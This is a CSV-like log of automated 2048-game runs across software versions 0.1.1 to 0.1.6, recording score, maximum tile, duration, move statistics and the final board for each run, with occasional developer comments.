+0.1.1,03May2014 15:51:48,3428,256,01:50,2.55,281,53.0,29.2,4.3,13.5,[2 8 32 2 - 16 128 2 4 - 64 256 64 8 - 4 32 8 2],
+0.1.1,03May2014 16:16:19,7436,512,03:43,2.24,499,14.0,15.8,32.1,38.1,[512 8 2 8 - 128 2 256 2 - 8 128 16 4 - 2 32 8 2],
+0.1.1,03May2014 16:20:24,7200,512,03:30,2.38,500,15.4,8.4,32.0,44.2,[512 8 4 2 - 32 128 64 8 - 16 32 256 4 - 2 4 16 2],
+0.1.1,03May2014 16:44:26,3820,256,01:57,2.5,292,18.8,15.1,29.8,36.3,[2 16 4 256 - 32 4 16 2 - 8 16 256 8 - 2 4 8 2],
+0.1.1,03May2014 16:46:56,3116,256,01:46,2.45,260,13.1,8.1,33.5,45.4,[4 64 16 2 - 16 8 32 4 - 4 16 8 128 - 256 4 2 4],
+0.1.1,03May2014 16:55:53,6472,512,03:22,2.19,442,13.1,19.0,32.1,35.7,[4 16 8 4 - 32 64 256 32 - 16 512 8 4 - 2 4 16 2],
+0.1.1,03May2014 19:30:15,6456,512,03:20,2.21,442,14.5,15.8,29.4,40.3,[2 64 8 2 - 8 16 512 32 - 4 256 8 4 - 2 16 32 2],
+0.1.1,03May2014 19:56:22,2492,256,01:27,2.47,215,15.3,14.9,30.2,39.5,[2 16 8 2 - 8 256 32 16 - 4 64 4 32 - 2 8 16 2],
+0.1.1,03May2014 20:04:33,1600,128,01:06,2.44,161,25.5,19.9,24.2,30.4,[8 2 4 2 - 2 64 16 4 - 64 8 32 8 - 2 128 8 4],
+0.1.1,04May2014 01:17:05,5700,512,03:06,2.14,398,10.6,21.6,35.2,32.7,[2 4 32 8 - 64 128 16 4 - 2 32 512 64 - 16 4 2 4],
+0.1.1,04May2014 21:10:34,5688,512,02:51,2.33,398,15.1,16.8,32.2,35.9,[4 32 2 8 - 64 512 64 4 - 8 128 32 2 - 2 4 16 8],
+0.1.1,04May2014 21:21:19,3296,256,02:07,2.12,269,19.7,21.2,27.5,31.6,[64 8 2 4 - 2 16 256 16 - 16 64 128 4 - 4 2 16 2],
+0.1.1,04May2014 22:54:39,7280,512,05:08,1.66,510,15.3,13.3,30.8,40.6,[16 32 2 8 - 256 128 16 32 - 16 64 512 8 - 2 4 16 2],
+0.1.1,04May2014 23:01:20,6164,512,02:58,2.43,433,9.9,17.6,37.6,34.9,[512 4 128 4 - 16 32 64 32 - 4 128 16 8 - 2 8 4 2],
+0.1.1,04May2014 23:18:47,5476,512,02:43,2.35,383,12.3,17.5,34.7,35.5,[8 16 32 512 - 2 128 64 16 - 8 32 16 8 - 2 8 4 2],
+0.1.1,04May2014 23:27:13,4748,256,02:28,2.51,371,12.7,15.9,33.4,38.0,[2 32 4 2 - 8 256 8 32 - 4 128 16 4 - 256 32 8 2],
+0.1.1,04May2014 23:32:43,2780,256,01:17,2.91,224,8.9,8.0,37.9,45.1,[256 8 2 4 - 2 16 128 16 - 4 32 16 8 - 2 8 4 2],
+0.1.1,04May2014 23:35:18,5384,512,03:52,1.6,371,17.5,12.7,32.3,37.5,[2 16 8 2 - 4 64 128 4 - 2 32 8 32 - 512 8 4 2],
+0.1.1,04May2014 23:38:52,6912,512,07:26,1.03,461,13.0,12.4,30.4,44.3,[4 2 8 2 - 2 16 128 4 - 8 64 256 8 - 512 16 4 2],
+0.1.2,06May2014 02:01:40,6832,512,03:22,2.32,468,12.2,12.2,36.1,39.5,[16 2 16 2 - 2 32 128 4 - 8 16 256 8 - 2 4 8 512],first note from args to csv
+0.1.2,06May2014 02:07:06,7076,512,03:25,2.37,485,11.8,14.0,32.8,41.4,[4 2 8 2 - 2 128 32 256 - 8 16 64 16 - 512 8 4 2],2nd note from args to csv
+0.1.2,06May2014 02:09:05,3472,256,05:24,0.89,287,8.7,10.5,36.9,43.9,[256 32 16 2 - 8 64 32 4 - 4 128 64 2 - 2 8 16 8],2nd note from args to csv
+0.1.3,06May2014 15:00:32,5432,512,02:31,2.54,383,14.1,15.1,32.4,38.4,[2 8 4 2 - 8 4 32 8 - 4 128 64 16 - 512 32 4 2],
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+0.1.4,10May2014 01:36:19,7280,512,03:02,2.79,507,15.6,14.0,31.6,38.9,[512 4 16 4 - 32 128 32 8 - 8 64 256 4 - 2 32 8 2],comma   remover quick   test
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+0.1.5,10May2014 03:29:58,3300,256,01:33,2.97,276,5.8,17.8,40.9,35.5,[256 8 2 32 - 16 32 128 8 - 8 64 16 4 - 2 4 32 2],batch of 100 test
+0.1.5,10May2014 03:32:47,6848,512,02:48,2.74,461,11.9,17.6,34.5,36.0,[512 2 32 2 - 4 8 256 8 - 2 32 16 4 - 4 16 128 2],batch of 100 test
+0.1.5,10May2014 03:34:17,3156,256,01:29,2.94,262,13.4,19.8,31.3,35.5,[4 2 64 4 - 2 8 128 8 - 32 256 8 32 - 4 16 4 2],batch of 100 test
+0.1.5,10May2014 03:37:46,8864,512,03:28,2.77,576,16.7,12.5,29.9,41.0,[2 16 4 2 - 4 32 512 32 - 32 64 16 4 - 512 16 8 2],batch of 100 test
+0.1.5,10May2014 03:39:54,5312,512,02:07,2.84,361,8.9,17.2,37.7,36.3,[2 16 8 4 - 128 512 32 2 - 4 64 16 8 - 2 16 4 2],batch of 100 test
+0.1.5,10May2014 03:43:08,7508,512,03:13,2.72,524,10.3,15.5,33.6,40.6,[2 16 64 16 - 32 128 256 8 - 64 512 32 2 - 2 4 16 4],batch of 100 test
+0.1.5,10May2014 03:44:41,3292,256,01:32,2.98,274,13.5,12.8,31.8,42.0,[256 32 16 2 - 4 8 128 32 - 32 64 16 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 03:46:20,3348,256,01:38,2.8,274,14.6,7.3,30.7,47.4,[8 2 4 256 - 64 128 32 16 - 2 8 16 4 - 4 2 64 2],batch of 100 test
+0.1.5,10May2014 03:48:12,3776,256,01:52,2.7,302,9.3,13.9,38.4,38.4,[2 4 2 4 - 16 256 32 128 - 8 128 64 16 - 2 4 2 4],batch of 100 test
+0.1.5,10May2014 03:50:57,6508,512,02:44,2.75,451,11.1,17.5,35.7,35.7,[512 16 4 2 - 32 256 64 16 - 8 4 32 2 - 4 16 8 4],batch of 100 test
+0.1.5,10May2014 03:53:38,6408,512,02:40,2.74,438,13.5,14.2,33.3,39.0,[2 32 16 2 - 4 64 256 8 - 16 4 16 4 - 512 16 8 2],batch of 100 test
+0.1.5,10May2014 03:56:26,6732,512,02:47,2.77,463,12.1,16.8,32.4,38.7,[2 8 4 2 - 64 256 16 32 - 4 16 64 8 - 2 4 32 512],batch of 100 test
+0.1.5,10May2014 03:58:26,4188,256,01:59,2.75,327,14.4,13.1,32.1,40.4,[256 32 8 4 - 8 64 16 2 - 4 8 256 8 - 2 32 4 2],batch of 100 test
+0.1.5,10May2014 04:00:20,3920,256,01:53,2.82,319,14.1,10.3,33.2,42.3,[8 4 2 32 - 32 64 16 8 - 4 16 128 4 - 256 128 8 2],batch of 100 test
+0.1.5,10May2014 04:01:32,2184,128,01:11,2.9,206,15.0,19.4,31.6,34.0,[4 32 4 128 - 2 64 128 16 - 8 16 32 8 - 4 8 4 2],batch of 100 test
+0.1.5,10May2014 04:04:23,7016,512,02:50,2.81,477,10.3,14.5,33.5,41.7,[2 8 2 8 - 4 128 16 512 - 16 256 64 16 - 2 16 8 4],batch of 100 test
+0.1.5,10May2014 04:05:53,3164,256,01:29,2.92,260,12.7,16.5,31.5,39.2,[4 32 4 16 - 2 8 256 2 - 64 32 128 4 - 2 16 8 2],batch of 100 test
+0.1.5,10May2014 04:08:08,5324,512,02:13,2.77,369,11.1,16.0,36.3,36.6,[2 16 32 4 - 4 512 128 16 - 2 8 64 4 - 4 2 8 2],batch of 100 test
+0.1.5,10May2014 04:11:23,7608,512,03:14,2.71,525,12.2,17.3,33.3,37.1,[4 8 4 512 - 128 256 128 32 - 8 32 16 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 04:14:28,7464,512,03:05,2.82,521,14.0,11.1,30.7,44.1,[4 2 32 2 - 32 256 16 8 - 8 128 8 64 - 512 64 4 2],batch of 100 test
+0.1.5,10May2014 04:17:27,7084,512,02:58,2.74,488,16.8,18.9,28.3,36.1,[2 256 4 2 - 16 64 8 4 - 2 32 128 16 - 8 4 2 512],batch of 100 test
+0.1.5,10May2014 04:18:58,3200,256,01:29,3.01,268,8.6,18.3,34.3,38.8,[16 32 8 2 - 128 2 256 32 - 8 64 16 4 - 2 4 8 2],batch of 100 test
+0.1.5,10May2014 04:20:36,3244,256,01:37,2.76,268,11.6,18.7,30.6,39.2,[2 32 256 2 - 64 4 16 32 - 8 128 8 4 - 2 4 32 2],batch of 100 test
+0.1.5,10May2014 04:21:43,1680,128,01:06,2.59,171,11.7,14.0,31.0,43.3,[2 4 16 8 - 8 64 128 64 - 16 32 16 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 04:24:10,5144,256,02:26,2.73,399,15.8,12.3,32.1,39.8,[8 256 8 2 - 64 128 64 8 - 32 8 16 4 - 256 16 8 2],batch of 100 test
+0.1.5,10May2014 04:27:06,7124,512,02:55,2.78,487,10.9,16.6,33.1,39.4,[2 4 8 2 - 256 64 128 4 - 4 16 512 32 - 2 32 4 2],batch of 100 test
+0.1.5,10May2014 04:29:23,5672,512,02:16,2.95,401,15.7,12.5,30.9,40.9,[32 2 16 8 - 8 128 64 4 - 4 512 16 2 - 2 16 64 8],batch of 100 test
+0.1.5,10May2014 04:32:24,7228,512,03:00,2.79,503,8.9,11.3,37.4,42.3,[512 2 16 2 - 16 32 8 4 - 4 64 256 32 - 2 16 128 2],batch of 100 test
+0.1.5,10May2014 04:35:36,7636,512,03:11,2.74,524,12.6,12.6,31.5,43.3,[2 128 2 16 - 16 4 512 32 - 8 128 256 16 - 4 32 8 2],batch of 100 test
+0.1.5,10May2014 04:38:17,6728,512,02:40,2.79,447,16.3,17.0,29.5,37.1,[2 8 4 2 - 4 16 256 128 - 8 32 16 2 - 2 4 8 512],batch of 100 test
+0.1.5,10May2014 04:41:15,7136,512,02:57,2.8,495,13.3,16.4,33.1,37.2,[512 16 128 2 - 256 8 16 32 - 4 64 8 4 - 2 8 16 2],batch of 100 test
+0.1.5,10May2014 04:44:25,7800,512,03:09,2.85,538,16.2,9.9,30.7,43.3,[8 2 16 2 - 256 128 64 8 - 4 512 32 4 - 2 128 16 2],batch of 100 test
+0.1.5,10May2014 04:47:11,6172,512,02:45,2.62,432,17.4,14.1,28.7,39.8,[512 32 2 4 - 2 16 128 16 - 4 128 64 4 - 2 32 16 2],batch of 100 test
+0.1.5,10May2014 04:49:48,6380,512,02:36,2.72,424,9.2,21.2,35.1,34.4,[2 4 2 512 - 32 256 64 16 - 8 32 16 4 - 2 4 8 2],batch of 100 test
+0.1.5,10May2014 04:52:17,6320,512,02:27,2.86,420,14.0,19.0,26.7,40.2,[512 4 8 2 - 16 256 64 16 - 8 32 8 2 - 2 4 16 4],batch of 100 test
+0.1.5,10May2014 04:57:34,14440,1024,05:16,2.64,834,13.9,13.1,31.9,41.1,[8 2 16 32 - 2 64 1024 16 - 512 128 32 4 - 2 4 16 2],batch of 100 test
+0.1.5,10May2014 05:00:30,7000,512,02:55,2.74,479,12.9,16.1,31.1,39.9,[2 64 16 512 - 8 256 2 16 - 128 2 8 4 - 4 16 4 2],batch of 100 test
+0.1.5,10May2014 05:02:10,3444,256,01:38,2.88,282,9.9,14.2,38.7,37.2,[2 4 16 2 - 32 64 256 8 - 16 128 32 4 - 2 4 64 2],batch of 100 test
+0.1.5,10May2014 05:03:13,2412,256,01:02,3.06,190,14.7,12.6,26.8,45.8,[8 4 2 8 - 4 2 64 2 - 2 64 256 4 - 8 2 16 2],batch of 100 test
+0.1.5,10May2014 05:05:59,6360,512,02:45,2.61,430,12.3,12.6,34.7,40.5,[4 8 16 512 - 2 256 8 64 - 4 32 16 2 - 2 16 4 8],batch of 100 test
+0.1.5,10May2014 05:08:52,7016,512,02:52,2.76,475,14.1,18.9,32.4,34.5,[512 8 2 4 - 2 256 64 128 - 8 2 32 16 - 4 8 4 2],batch of 100 test
+0.1.5,10May2014 05:13:15,12072,1024,04:22,2.71,711,14.2,15.9,31.6,38.3,[2 8 4 2 - 64 256 32 16 - 2 128 8 2 - 4 16 2 1024],batch of 100 test
+0.1.5,10May2014 05:15:14,4368,256,01:58,2.85,336,11.6,14.6,34.8,39.0,[4 8 64 256 - 16 32 8 4 - 256 4 64 2 - 2 8 16 4],batch of 100 test
+0.1.5,10May2014 05:17:02,3776,256,01:47,2.81,301,14.0,18.3,29.9,37.9,[2 32 2 8 - 128 16 128 4 - 4 64 256 2 - 2 8 2 16],batch of 100 test
+0.1.5,10May2014 05:18:27,3076,256,01:25,2.95,251,15.1,11.2,34.3,39.4,[16 2 32 2 - 2 64 2 16 - 4 128 16 4 - 2 4 8 256],batch of 100 test
+0.1.5,10May2014 05:21:54,7444,512,03:25,2.52,517,11.2,15.5,33.8,39.5,[512 64 4 2 - 32 256 128 16 - 4 64 32 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 05:24:58,7356,512,03:03,2.79,511,12.5,12.9,33.7,40.9,[512 2 64 16 - 4 8 256 8 - 64 32 128 4 - 2 4 8 2],batch of 100 test
+0.1.5,10May2014 05:27:58,7128,512,02:59,2.7,483,16.6,10.6,34.0,38.9,[2 4 32 2 - 16 256 4 8 - 2 32 128 2 - 512 4 16 64],batch of 100 test
+0.1.5,10May2014 05:29:02,1600,128,01:03,2.67,168,19.6,20.8,22.0,37.5,[2 4 32 2 - 32 16 64 16 - 8 128 32 8 - 4 16 4 2],batch of 100 test
+0.1.5,10May2014 05:32:28,7900,512,03:24,2.61,532,8.5,15.6,35.9,40.0,[2 256 2 512 - 8 32 4 16 - 2 256 32 8 - 4 16 4 2],batch of 100 test
+0.1.5,10May2014 05:36:36,11428,1024,04:08,2.69,666,14.1,17.3,32.7,35.9,[8 2 8 4 - 32 1024 32 256 - 8 64 16 2 - 2 4 2 4],batch of 100 test
+0.1.5,10May2014 05:39:08,6236,512,02:30,2.73,409,11.0,17.1,31.3,40.6,[2 8 2 512 - 4 256 4 2 - 8 32 16 8 - 4 64 4 2],batch of 100 test
+0.1.5,10May2014 05:42:17,7064,512,03:09,2.55,482,13.5,13.1,30.3,43.2,[8 4 256 4 - 2 16 8 128 - 512 32 64 2 - 2 16 8 4],batch of 100 test
+0.1.5,10May2014 05:45:08,6636,512,02:50,2.68,455,11.0,18.5,34.9,35.6,[512 4 32 2 - 8 64 16 64 - 4 8 256 8 - 2 16 4 2],batch of 100 test
+0.1.5,10May2014 05:46:00,1412,128,00:51,2.8,143,10.5,21.7,37.1,30.8,[4 32 8 2 - 8 64 16 128 - 4 32 2 4 - 2 4 16 2],batch of 100 test
+0.1.5,10May2014 05:49:12,7356,512,03:11,2.67,510,15.5,16.5,32.4,35.7,[512 16 256 8 - 64 2 128 2 - 8 32 64 8 - 4 8 4 2],batch of 100 test
+0.1.5,10May2014 05:50:54,3380,256,01:41,2.79,282,12.8,11.7,36.9,38.7,[8 64 2 8 - 4 128 16 4 - 16 256 64 2 - 2 4 32 4],batch of 100 test
+0.1.5,10May2014 05:53:48,6548,512,02:53,2.58,446,13.2,13.2,31.4,42.2,[2 4 64 4 - 16 64 256 16 - 4 16 512 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 05:56:31,6844,512,02:42,2.83,458,15.9,14.2,29.7,40.2,[8 4 32 8 - 2 256 128 32 - 16 512 16 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 05:58:10,3164,256,01:38,2.64,259,11.2,12.0,37.8,39.0,[8 32 8 4 - 2 16 64 8 - 4 32 128 16 - 256 4 2 4],batch of 100 test
+0.1.5,10May2014 05:59:47,3272,256,01:36,2.82,271,7.7,12.5,39.1,40.6,[16 32 2 128 - 4 16 32 4 - 2 32 256 8 - 4 2 64 4],batch of 100 test
+0.1.5,10May2014 06:02:34,6424,512,02:46,2.65,440,19.1,13.6,26.1,41.1,[8 2 16 2 - 16 32 64 4 - 8 256 16 8 - 512 16 8 2],batch of 100 test
+0.1.5,10May2014 06:05:26,6552,512,02:51,2.65,454,9.3,16.7,33.7,40.3,[512 8 4 2 - 32 64 32 16 - 4 32 256 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 06:08:44,7200,512,03:17,2.53,499,10.4,15.8,32.1,41.7,[8 32 4 32 - 2 128 512 16 - 8 256 64 8 - 2 16 4 2],batch of 100 test
+0.1.5,10May2014 06:11:03,5440,512,02:17,2.78,381,14.2,10.5,29.9,45.4,[2 64 16 2 - 32 512 2 4 - 16 128 32 8 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 06:13:12,5140,512,02:08,2.77,354,11.0,17.5,32.8,38.7,[4 2 8 4 - 128 16 32 2 - 4 32 512 8 - 2 8 16 2],batch of 100 test
+0.1.5,10May2014 06:16:15,6944,512,03:02,2.6,473,15.0,13.5,30.7,40.8,[2 4 2 4 - 8 128 8 2 - 32 256 16 32 - 4 32 2 512],batch of 100 test
+0.1.5,10May2014 06:18:48,5760,512,02:32,2.68,408,11.3,15.4,37.3,36.0,[512 16 2 16 - 4 64 32 2 - 32 128 16 4 - 4 64 8 2],batch of 100 test
+0.1.5,10May2014 06:22:55,10152,512,04:06,2.62,645,13.8,17.2,34.0,35.0,[4 32 8 2 - 8 512 256 4 - 2 32 16 8 - 512 16 8 2],batch of 100 test
+0.1.5,10May2014 06:25:14,4940,256,02:18,2.75,379,14.8,13.7,32.5,39.1,[4 32 2 4 - 16 256 8 2 - 128 64 16 4 - 256 16 32 2],batch of 100 test
+0.1.5,10May2014 06:28:22,7368,512,03:07,2.73,510,16.5,10.4,29.2,43.9,[512 32 8 2 - 4 16 4 64 - 64 256 128 4 - 2 16 8 2],batch of 100 test
+0.1.5,10May2014 06:31:27,6980,512,03:04,2.53,466,12.0,16.5,34.1,37.3,[2 8 16 2 - 4 256 512 8 - 8 128 32 4 - 2 4 64 2],batch of 100 test
+0.1.5,10May2014 06:33:48,5424,512,02:20,2.74,384,9.1,15.1,37.0,38.8,[512 2 16 2 - 16 4 64 8 - 4 16 128 4 - 8 32 16 2],batch of 100 test
+0.1.5,10May2014 06:38:33,12200,1024,04:43,2.55,722,13.6,16.8,31.7,38.0,[2 256 2 4 - 32 128 1024 16 - 16 64 16 32 - 8 4 2 4],batch of 100 test
+0.1.5,10May2014 06:41:25,6552,512,02:51,2.65,453,15.2,14.3,25.8,44.6,[2 4 8 2 - 8 32 16 8 - 32 64 256 32 - 2 4 8 512],batch of 100 test
+0.1.5,10May2014 06:45:22,9288,512,03:56,2.5,590,12.0,15.4,31.9,40.7,[512 64 8 4 - 32 128 2 16 - 2 512 16 8 - 8 4 2 4],batch of 100 test
+0.1.5,10May2014 06:48:24,6500,512,03:00,2.49,449,14.5,14.9,32.1,38.5,[4 8 2 64 - 16 256 32 8 - 2 512 16 4 - 4 16 32 2],batch of 100 test
+0.1.5,10May2014 06:50:41,5636,512,02:16,2.82,383,14.9,19.1,31.1,35.0,[2 16 2 128 - 4 8 512 2 - 2 16 128 8 - 4 8 4 2],batch of 100 test
+0.1.5,10May2014 06:52:55,4692,256,02:13,2.61,347,12.1,14.1,32.3,41.5,[256 2 4 2 - 8 128 8 4 - 4 64 32 2 - 2 256 2 8],batch of 100 test
+0.1.5,10May2014 06:56:52,10668,1024,03:56,2.67,631,17.0,10.8,31.7,40.6,[16 2 8 1024 - 2 64 4 16 - 128 4 32 4 - 8 64 8 2],batch of 100 test
+0.1.5,10May2014 06:59:48,7100,512,02:55,2.8,490,16.5,10.2,29.6,43.7,[8 4 64 512 - 16 128 16 2 - 8 32 256 8 - 2 4 8 2],batch of 100 test
+0.1.5,10May2014 07:02:58,7224,512,03:09,2.66,502,10.8,12.9,34.3,42.0,[512 16 2 4 - 32 128 256 32 - 16 64 16 4 - 2 4 8 2],batch of 100 test
+0.1.5,10May2014 07:06:13,7344,512,03:14,2.6,504,8.3,13.9,39.5,38.3,[512 4 64 2 - 64 16 256 32 - 8 128 8 4 - 4 2 16 2],batch of 100 test
+0.1.5,10May2014 07:09:43,7828,512,03:29,2.58,540,14.4,17.6,37.6,30.4,[4 128 16 4 - 16 256 64 2 - 8 128 16 4 - 512 32 8 2],batch of 100 test
+0.1.5,10May2014 07:11:11,3096,256,01:27,2.9,252,13.5,17.1,29.8,39.7,[4 2 8 2 - 2 8 32 4 - 128 32 64 8 - 4 2 4 256],batch of 100 test
+0.1.5,10May2014 07:14:26,7096,512,03:14,2.53,490,18.8,15.9,25.9,39.4,[512 8 4 2 - 16 256 32 128 - 8 64 8 2 - 2 4 16 4],batch of 100 test
+0.1.5,10May2014 07:17:08,5560,256,02:41,2.65,426,15.7,12.7,34.7,36.9,[4 64 16 4 - 128 256 128 8 - 2 4 32 4 - 256 16 8 2],batch of 100 test
+0.1.5,10May2014 07:19:07,4116,256,01:58,2.69,317,10.1,13.6,34.4,42.0,[256 8 2 4 - 16 64 16 2 - 4 8 256 32 - 2 16 8 2],batch of 100 test
+0.1.5,10May2014 07:20:45,3236,256,01:38,2.78,272,16.5,18.4,29.8,35.3,[256 4 32 16 - 8 16 128 64 - 4 8 32 8 - 2 16 4 2],batch of 100 test
+0.1.5,10May2014 07:24:10,7384,512,03:24,2.5,510,8.4,15.3,39.2,37.1,[512 2 64 2 - 16 128 256 32 - 2 64 2 16 - 16 8 4 2],batch of 100 test
+0.1.5,10May2014 07:26:41,6364,512,02:30,2.87,431,9.3,19.5,33.4,37.8,[2 4 16 512 - 8 256 32 8 - 16 64 16 4 - 4 8 4 2],batch of 100 test
+0.1.5,10May2014 07:30:14,7848,512,03:32,2.54,539,12.6,17.6,31.4,38.4,[512 32 2 4 - 128 64 16 2 - 4 32 128 256 - 2 8 4 2],batch of 100 test
+0.1.5,10May2014 07:31:26,2320,256,01:12,2.63,189,9.5,15.9,34.9,39.7,[4 2 8 4 - 2 16 32 16 - 256 64 8 2 - 4 8 16 4],batch of 100 test
+0.1.5,10May2014 07:35:56,12060,1024,04:28,2.66,712,13.8,13.2,30.9,42.1,[2 4 2 8 - 1024 16 256 2 - 64 8 128 8 - 2 4 32 2],batch of 100 test
+0.1.5,10May2014 14:21:08,4436,256,02:38,2.14,338,3.6,18.3,36.7,41.4,[2 16 4 256 - 64 256 64 32 - 2 16 32 8 - 4 2 4 2],fix non zero criteria coun
+0.1.5,10May2014 14:30:19,12256,1024,05:52,2.06,725,16.4,13.5,28.7,41.4,[2 64 4 2 - 128 8 256 16 - 4 64 8 4 - 1024 2 16 2],
+0.1.5,10May2014 14:48:30,7280,512,04:10,2.02,505,16.2,13.5,28.7,41.6,[512 32 4 2 - 16 128 256 32 - 32 64 16 4 - 4 2 4 2],
+0.1.5,10May2014 18:50:14,5480,512,02:14,2.83,379,5.3,15.6,42.2,36.9,[4 32 8 2 - 2 128 32 4 - 4 32 64 2 - 512 16 8 4],
+0.1.5,10May2014 18:52:38,5428,512,02:22,2.66,378,14.0,11.4,29.4,45.2,[2 8 4 2 - 8 128 512 32 - 16 64 16 4 - 2 4 32 2],
+0.1.5,10May2014 18:55:09,5464,512,02:30,2.55,383,10.7,17.8,36.3,35.2,[4 16 2 512 - 2 64 32 16 - 32 4 128 8 - 4 2 16 2],
+0.1.5,10May2014 18:56:01,1408,128,00:51,2.86,146,5.5,17.8,41.1,35.6,[2 8 4 128 - 32 16 2 8 - 4 64 32 4 - 2 8 4 2],
+0.1.5,10May2014 18:57:40,3368,256,01:38,2.84,278,13.7,14.4,34.2,37.8,[8 2 16 256 - 32 128 8 2 - 2 64 16 64 - 4 8 4 2],
+0.1.5,10May2014 19:00:12,5424,512,02:31,2.5,378,13.8,17.7,30.4,38.1,[4 32 4 2 - 2 512 128 16 - 16 64 32 4 - 2 4 2 8],
+0.1.5,10May2014 19:01:26,2348,256,01:12,2.74,197,20.8,23.4,26.9,28.9,[8 64 4 2 - 2 16 32 16 - 256 4 8 2 - 2 16 2 4],
+0.1.5,10May2014 19:04:35,7064,512,03:08,2.57,483,16.1,16.1,30.6,37.1,[2 8 2 4 - 4 256 32 16 - 64 128 4 2 - 512 2 8 16],
+0.1.5,10May2014 19:06:44,5080,512,02:08,2.73,349,12.6,17.8,34.4,35.2,[8 16 8 512 - 4 128 2 16 - 8 32 16 8 - 2 4 8 2],
+0.1.5,10May2014 19:09:37,5956,512,02:53,2.46,425,13.9,18.1,32.7,35.3,[16 2 4 512 - 2 128 16 32 - 4 32 128 8 - 8 16 4 2],
+0.1.5,10May2014 19:14:09,11672,1024,04:30,2.49,673,13.7,16.9,30.9,38.5,[2 8 2 1024 - 4 256 4 16 - 16 4 128 4 - 2 16 4 2],
+0.1.5,10May2014 19:15:41,3124,256,01:31,2.84,258,15.1,14.0,30.6,40.3,[8 16 4 2 - 2 128 32 16 - 4 16 64 4 - 2 4 16 256],
+0.1.5,10May2014 19:18:43,6740,512,03:01,2.49,451,17.5,23.3,29.9,29.3,[4 2 4 512 - 2 256 16 32 - 128 8 2 8 - 4 16 4 2],
+0.1.5,10May2014 19:21:58,7224,512,03:14,2.49,484,16.1,11.8,27.9,44.2,[2 128 4 2 - 4 32 8 256 - 64 2 64 4 - 512 8 4 2],
+0.1.5,10May2014 19:23:36,3108,256,01:36,2.73,262,9.2,23.7,37.8,29.4,[4 16 8 2 - 2 128 64 4 - 8 256 16 32 - 2 8 4 2],
+0.1.5,10May2014 19:26:35,6092,512,02:58,2.42,430,15.8,17.2,28.8,38.1,[2 8 2 8 - 128 16 128 16 - 8 64 512 4 - 2 32 8 2],
+0.1.5,10May2014 19:29:11,5640,512,02:35,2.57,399,16.5,13.3,28.8,41.4,[8 4 64 2 - 2 32 16 128 - 4 64 4 2 - 512 8 2 16],
+0.1.5,10May2014 19:32:15,7188,512,03:04,2.72,501,15.0,12.6,31.9,40.5,[512 32 8 2 - 8 4 256 8 - 4 128 64 4 - 32 4 16 2],
+0.1.5,10May2014 19:37:30,15032,1024,05:13,2.81,879,9.1,14.4,36.6,39.8,[1024 128 2 8 - 32 512 4 2 - 4 64 128 8 - 2 4 16 2],
+0.1.5,10May2014 19:41:41,12012,1024,04:10,2.86,716,11.3,15.5,35.8,37.4,[2 64 4 1024 - 4 256 64 16 - 32 64 32 4 - 2 4 8 2],
+0.1.5,10May2014 21:27:36,2920,256,01:34,2.59,243,12.8,14.8,34.6,37.9,[256 8 16 2 - 2 32 4 16 - 8 128 32 4 - 2 4 16 2],
+0.1.5,10May2014 21:30:33,3364,256,02:09,2.16,278,13.7,16.2,31.7,38.5,[4 2 8 2 - 16 128 64 4 - 64 16 8 2 - 256 32 2 4],
+0.1.5,10May2014 21:31:53,1372,128,00:54,2.54,137,16.8,18.2,21.2,43.8,[2 4 8 2 - 16 32 128 4 - 8 64 32 2 - 2 4 2 8],
+0.1.5,10May2014 21:36:11,7200,512,03:53,2.13,496,15.1,14.9,31.3,38.7,[512 64 16 2 - 4 128 32 8 - 16 256 16 4 - 4 2 32 2],
+0.1.5,14May2014 23:24:29,7512,512,04:09,2.12,529,17.2,18.5,29.9,34.4,[2 4 256 512 - 32 16 128 64 - 8 64 32 8 - 4 16 4 2],
+0.1.6,15May2014 17:51:19,3272,256,01:34,2.93,275,14.9,14.5,34.2,36.4,[256 8 4 2 - 2 32 128 32 - 8 64 16 4 - 2 4 32 2],
+0.1.6,15May2014 18:21:21,13828,1024,04:58,2.64,787,16.0,11.9,30.9,41.2,[8 64 2 1024 - 4 32 16 2 - 2 64 512 8 - 4 2 4 2],
+0.1.6,15May2014 23:36:44,524,64,00:24,2.96,71,1.4,16.9,70.4,11.3,[2 4 64 2 - 8 16 32 8 - 4 2 4 2 - 2 8 2 4],
+0.1.6,15May2014 23:37:32,668,64,00:31,2.87,89,1.1,13.5,62.9,22.5,[32 2 32 8 - 8 64 8 4 - 4 16 4 2 - 2 8 2 4],
+0.1.6,15May2014 23:42:37,11612,1024,04:31,2.55,690,1.4,26.1,49.7,22.8,[1024 4 256 4 - 16 32 8 32 - 4 16 64 8 - 2 4 8 32],
+0.1.6,15May2014 23:45:18,3856,256,01:56,2.66,309,2.6,26.2,45.0,26.2,[2 8 128 4 - 4 128 256 32 - 16 32 64 2 - 4 2 4 8],
+0.1.6,15May2014 23:50:07,7064,512,03:03,2.64,483,0.2,22.8,51.3,25.7,[256 512 2 32 - 8 64 128 16 - 4 16 2 4 - 2 4 8 2],
+0.1.6,15May2014 23:53:37,7420,512,03:09,2.71,512,0.4,28.5,49.8,21.3,[512 2 128 64 - 16 64 256 32 - 8 32 4 2 - 2 4 2 4],
+0.1.6,15May2014 23:57:55,7492,512,03:24,2.57,524,0.4,23.7,50.6,25.4,[32 256 2 128 - 16 64 512 64 - 4 32 16 8 - 2 8 2 4],
+0.1.6,16May2014 00:05:55,15552,1024,05:50,2.62,918,0.1,24.2,49.0,26.7,[1024 2 256 32 - 16 512 32 16 - 8 64 16 8 - 2 4 8 4],
+0.1.6,16May2014 00:10:19,7884,512,04:01,2.33,561,0.0,23.0,49.2,27.8,[64 512 256 64 - 32 64 128 32 - 8 32 16 4 - 2 4 8 2],
+0.1.6,16May2014 00:13:06,916,64,00:47,2.55,120,0.0,15.8,16.7,67.5,[16 64 32 16 - 4 32 16 8 - 2 8 32 2 - 4 16 8 4],
+0.1.6,16May2014 00:19:55,12452,1024,04:40,2.64,740,0.0,25.5,47.6,26.9,[1024 256 128 64 - 16 32 64 32 - 8 16 8 2 - 2 4 2 4],
+0.1.6,16May2014 00:41:20,19464,1024,07:23,2.59,1148,0.0,25.1,48.8,26.1,[512 1024 512 128 - 32 64 128 64 - 16 32 16 4 - 2 4 8 2],
